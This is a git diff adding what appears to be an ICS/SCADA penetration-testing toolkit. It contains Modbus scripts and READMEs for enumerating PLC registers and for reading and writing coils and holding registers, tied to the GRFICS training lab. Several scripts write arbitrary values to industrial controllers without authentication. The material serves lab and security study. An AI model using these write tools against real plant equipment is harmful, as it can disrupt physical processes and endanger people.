a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', 